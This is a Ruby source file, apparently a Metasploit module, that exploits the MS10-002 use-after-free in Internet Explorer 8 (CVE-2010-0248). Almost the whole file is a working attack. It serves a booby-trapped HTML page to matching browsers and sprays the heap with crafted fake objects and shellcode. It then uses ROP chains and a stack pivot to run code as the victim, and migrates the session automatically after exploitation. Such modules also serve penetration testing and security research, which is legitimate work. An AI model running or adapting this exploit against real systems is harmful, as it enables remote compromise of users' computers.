263 lines
7.6 KiB
Ruby
263 lines
7.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::RopDb
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def initialize(info={})
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super(update_info(info,
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'Name' => "MS10-002 Microsoft Internet Explorer Object Memory Use-After-Free",
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'Description' => %q{
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This module exploits a vulnerability found in Internet Explorer's
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mshtml component. Due to the way IE handles objects in memory, it is
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possible to cause a pointer in CTableRowCellsCollectionCacheItem::GetNext
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to be used even after it gets freed, therefore allowing remote code
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execution under the context of the user.
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This particular vulnerability was also one of 2012's Pwn2Own
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challenges, and was later explained by Peter Vreugdenhil with exploitation
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details. Instead of Peter's method, this module uses heap spraying like
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the 99% to store a specially crafted memory layout before re-using the
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freed memory.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Peter Vreugdenhil', # Vulnerability discovery and exploit writeup
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'juan vazquez', # Metasploit
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'sinn3r' # Metasploit
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],
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'References' =>
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[
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[ 'MSB', 'MS10-002'],
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[ 'CVE', '2010-0248' ],
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[ 'OSVDB', '61914'],
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[ 'URL', 'http://dvlabs.tippingpoint.com/blog/2012/03/15/pwn2own-2012-challenge-writeup' ],
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[ 'ZDI', '10-014']
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],
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00",
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'DisableNops' => true
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 }, ],
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[ 'IE 8 on Windows 7 SP0', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7c348b05 } ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Jan 21 2010",
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'DefaultTarget' => 0))
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
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return targets[1] #IE 8 on Windows XP SP3
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elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
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return targets[2] #IE 8 on Windows 7 SP1 with JRE
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else
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return nil
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end
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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my_target = get_target(agent)
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# Avoid the attack if the victim doesn't have the same setup we're targeting
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if my_target.nil?
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print_error("Browser not supported: #{agent.to_s}")
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send_not_found(cli)
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return
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end
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print_status("Target selected: #{my_target.name}")
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js_code = build_javascript(my_target)
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html = %Q|
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<html>
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<head>
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<script>
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#{js_code}
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</script>
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</head>
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<body onLoad="window.setTimeout(Start,100);" id="bodyid">
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<table id="tableid">
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<tr><th id="thid"></th></tr>
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<tr id="trid"><td id="tdid"></td></tr>
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</table>
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</body>
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</html>
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print_status("Sending HTML")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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def build_javascript(my_target)
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p = get_payload(my_target)
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
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# The exploit will try to take up the freed memory
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# with a fake item before the reuse
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fake_item = [
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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0x0c0c003c, # pointer to c_table_cell
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junk,
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junk,
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junk,
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0x0c0c0050, # pointer to c_cache_item
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junk,
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junk,
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].pack("V*")
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fake_item_js = Rex::Text.to_unescape(fake_item)
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# Here start the crafted layout of the memory
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# which will be sprayed to get code execution
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# IE 8 => Spray be sprayed into 0c0c0024
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memory_layout = [
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junk,
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junk,
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junk,
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junk,
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junk,
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junk,
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0x0c0c0040, # ----- points to 0x0c0c0040
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0x0c0c0c0c, # <---| 0x0c0c0c0c + 0x70: 0x0c0c0c7c will store the stackpivot with eax pointing to 0c0c0c0c
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junk,
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junk,
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0x00000000, # Allows to bypass CTableCell::GetAAcolSpan
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junk, # Stored at 0c0c0c50
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junk,
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junk,
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0x0c0c0078,
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junk,
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junk,
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junk,
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junk,
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junk,
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0x0c0c0c50, # <- Stored at 0c0c0074 (0x0c0c0078 - 4)
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0x00000001 # Stored at 0c0c0078 (0c0c0050+28) # Allows to exit of CTableRowCellsCollectionCacheItem::GetNext faster
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].pack("V*")
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memory_layout_js = Rex::Text.to_unescape(memory_layout)
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# Steps:
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# 1. Force the free.
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# 2. Try to reuse the freed memory with a fake item.
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# The fake item store crafted pointers to the
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# memory which will be sprayed on step 3.
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# 3. Heap Spray: Shellcode + crafted memory layout to
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# get execution flow when the memory freed in step 1
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# is reused in step 4.
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# 4. Force the memory reuse.
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spray = <<-JS
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function Start() {
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var fake_items = unescape("#{fake_item_js}");
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while (fake_items.length < 0x1000) fake_items+= fake_items;
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var fake_item = fake_items.substring(0, (96-6)/2);
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var code = unescape("#{js_code}");
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var memory_layout = unescape("#{memory_layout_js}")
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['Offset']} - memory_layout.length);
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var shellcode = memory_layout + offset + code + nops.substring(0, 0x800-#{my_target['Offset']}-code.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block_shell = shellcode.substring(0, (0x80000-6)/2);
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var heap = new heapLib.ie(0x20000);
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var TableClone = document.getElementById('tableid').cloneNode(1);
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var TableCellUrns = TableClone.cells.urns('a');
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var bla = TableClone.cells.item(1);
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var TableCellUrnsTags = TableCellUrns.tags('a');
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TableClone.outerText = 'a';
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heap.gc();
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for(i = 0; i < 30; i++) {
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heap.alloc(fake_item);
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}
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for (var i=1; i < 0x1C2; i++) {
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heap.alloc(block_shell);
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}
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Result = TableClone.cells;
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Result = TableCellUrnsTags.item(1);
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}
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JS
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spray = heaplib(spray, {:noobfu => true})
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return spray
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end
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def junk(n=4)
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return rand_text_alpha(n).unpack("V").first
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end
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# ROP chain + shellcode will be sprayed at 0x0c0c0c0c
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def get_payload(t)
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p = make_nops(46)
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p << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes
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p << [t.ret].pack("V") # Stack Pivot
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p << payload.encoded
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case t['Rop']
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when :msvcrt
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rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'xp'})
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else
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rop_payload = generate_rop_payload('java', p)
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end
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return rop_payload
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end
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end
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=begin
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(694.cc0): Break instruction exception - code 80000003 (first chance)
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eax=00000000 ebx=00000100 ecx=0241f518 edx=7c90e4f4 esi=7c90d6d0 edi=ffffffff
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eip=7c8022cf esp=0241f534 ebp=0241f548 iopl=0 nv up ei pl zr na pe nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
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kernel32!WriteProcessMemory+0x6d:
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7c8022cf cc int 3
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=end
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